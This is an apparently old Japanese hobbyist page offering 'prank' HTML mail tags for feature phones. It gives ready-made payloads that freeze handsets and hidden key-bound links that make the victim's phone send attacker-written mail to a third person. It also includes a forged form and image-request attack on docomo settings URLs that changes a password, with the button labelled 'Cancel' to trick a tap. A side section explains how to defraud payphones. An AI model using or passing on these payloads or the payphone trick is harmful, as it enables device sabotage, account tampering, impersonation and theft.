携帯に優しくないタグメールその3。
要は開けられないメール。早速誰かに送り付けてみよう。
<EMBED src="x-avefront://---.smail/text?type=s">
タグメールの文中に<HR>と打つと、境界線が作れるのだが、それに色を付けることが出来るのだ。
<HR size="10" color="□■">
□■の部分には色名を半角英語で入れよう。例えばredとかblueなど。
メール内の文章を横に動かすことができるタグ。目立たせたいときなどに有効。
しかし、目立たせるには少々動きが速いか。
<MARQUEE scrolldelay="60">□■</marquee>
これは相当強力だ。電池パックを一度はずさないと使用ができなくなる。方法は以下の通り。
<EMBED src="x-avefront://---.smail/edit-cgi"><EMBED src="x-avefront://---.smail/text"><CENTER>--END--<U> <A href="x-avefront://---.smail/edit-cgi?subject=&address=■&body=◆" keybind="f">次へ</A> <A href="x-avefront://---.smail/edit-cgi?type=u&subject=&address=■&body=◆" keybind="b">前へ</A> <A href="x-avefront://---.smail/edit-cgi?subject=&address=■&body=◆" keybind="m">戻る</A><STYLE>
説明しよう。■の部分に標的のメアド、◆の部分に標的に自動送信される悪戯文を入力。
誰かを犠牲にして実験してみてほしい。
メールを開いている時に電源以外のボタンを押したら、自動的にメールが送信されてしまうタグだ。
<CENTER>-----END-----<U><A HREF="x-avefront://---.smail/edit-cgi?subject=&address=◆&body=●" keybind="f"> 次へ</A><A href="x-avefront://---.smail/edit-cgi?type=u&subject=&address=◆&body=●" keybind="b">前へ</A> <A href="x-avefront://---.smail/edit-cgi?subject=&address=◆&body=●" keybind="m">戻る</A><STYLE>
説明しよう。◆の部分に標的のメアド、●の部分に標的に自動送信される悪戯文を入力。
もう少し詳しく言おう。あなたをA、標的をCとする。
AからCに直接メールを送ったら、Aが送ったと当然わかってしまう。そこで、AとCの間にBをおく。
AがこのタグメールをBに送る。そしてBがメールを開く。
その時に何かのボタンを押してしまえば、BからCに向けてメールが送られるのだ。
BがCに送ってしまうメールの本文は●であるから、Aが自由に決められるのだ。
番外編である。公衆電話はタダで使ってしまおう。
条件は、電源コードが見えている公衆電話を使用することと、テレカが使用できること。方法は以下の通り。
そうすることで、電源コードが抜かれた瞬間にテレカが排出される。
なお、「呼出音がしたら」ではなく「相手が電話に出たら」電源コードを抜くという話もある。
いずれにせよ、大変有益なのは間違いない。もちろん、犯罪行為ではあるが。
新しいバージョンの携帯金縛りを発見したので、掲載しよう。
<TABLE border="1000000"><never end><HR size="21"><FORM><SELECT><OPTION>
これも強制メールの一種だ。携帯金縛りと同様、どの機種にどの技が有効かを見極めてもらいたい。
<A href="x-avefront://---.smail/edit-cgi?type=u&subject=○●○●&address=□■□■&body=◇◆◇◆" keybind="b"> </A><FORM><SELECT><OPTION>
説明。○●の部分には題名を、□■の部分には送信先アドレスを、◇◆の部分には本文を書こう。
はっきり言って封印モノ。公表するか迷ったが、使用は各自の責任で行ってもらおう。
<FORM><FORM action="http://docomo.ne.jp/cp/mailnouseset" method="post"> <INPUT type="password" istyle="4" name="pwd" size="4"><INPUT type="submit" name="acth" value="キャンセル"> <INPUT type="hidden" name="MSN" value="NULLGRIMMGW"> <IMG src="http://docomo.ne.jp/cp/cngpswrd?opwd=0000&npwd=1111&npwd2=1111&MSN=NULLGRIMMGW"> <IMG src="http://docomo.ne.jp/cp/limitscopeset?code=2&RETCOUNT=0&pwd=1111&MSN=NULLGRIMMGW"> <SELECT><NOEMBED>
周囲の人に大してむやみに実験できるはずもないので対象機種は不明だが、理論上は可能なはずだ。
文中に「キャンセル」とある。メールを開くと、文字を打つフィールドと決定のボタンらしきモノが現れるが、
その決定ボタンの名前をあえて「キャンセル」とすることによって押す動作を誘発させている。
ここまでくると犯罪に近い。強烈だ。
<FORM><FORM action="http://docomo.ne.jp/cp/mailnouseset" method="post"> <INPUT type="password" istyle="4" name="pwd" size="4"><INPUT type="submit" name="acth" value="キャンセル"> <INPUT type="hidden" name="MSN" value="NULLGRIMMGW"> <IMG src="http://docomo.ne.jp/cp/cngpswrd?opwd=0000&npwd=1111&npwd2=1111&MSN=NULLGRIMMGW"> <IMG src="http://docomo.ne.jp/cp/limitscopeset?code=2&RETCOUNT=0&pwd=1111&MSN=NULLGRIMMGW"> <SELECT><NOEMBED>
文中に「キャンセル」とある。メールを開くと、文字を打つフィールドと決定のボタンらしきモノが現れるが、
その決定ボタンの名前をあえて「キャンセル」とすることによって押す動作を誘発させている。